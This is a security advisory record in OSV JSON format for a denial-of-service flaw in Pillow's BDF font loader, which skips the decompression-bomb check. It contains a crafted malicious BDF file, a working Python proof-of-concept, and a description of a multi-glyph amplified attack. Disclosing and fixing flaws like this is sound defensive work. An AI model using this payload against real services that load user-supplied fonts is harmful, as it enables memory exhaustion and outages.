Files
vuln-osv/data/PyPI/GHSA-45hq-cxwh-f6vc.json
T

1 line
6.4 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-45hq-cxwh-f6vc","published":"2026-07-20T21:13:18Z","modified":"2026-09-10T03:50:51.372929814Z","aliases":["BIT-pillow-2026-55379","CVE-2026-55379","PYSEC-2026-2255"],"summary":"Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading","details":"### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n # TRIGGERED when BITMAP section is empty (zero hex lines)\n im = Image.new(\"1\", (width, height)) # ← NO _decompression_bomb_check()!\n # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\" Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size : 270 bytes\n[*] Glyph size : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):** \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-45hq-cxwh-f6vc/GHSA-45hq-cxwh-f6vc.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55379"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}],"database_specific":{"cwe_ids":["CWE-789"],"github_reviewed":true,"github_reviewed_at":"2026-07-20T21:13:18Z","nvd_published_at":"2026-07-06T19:17:08Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}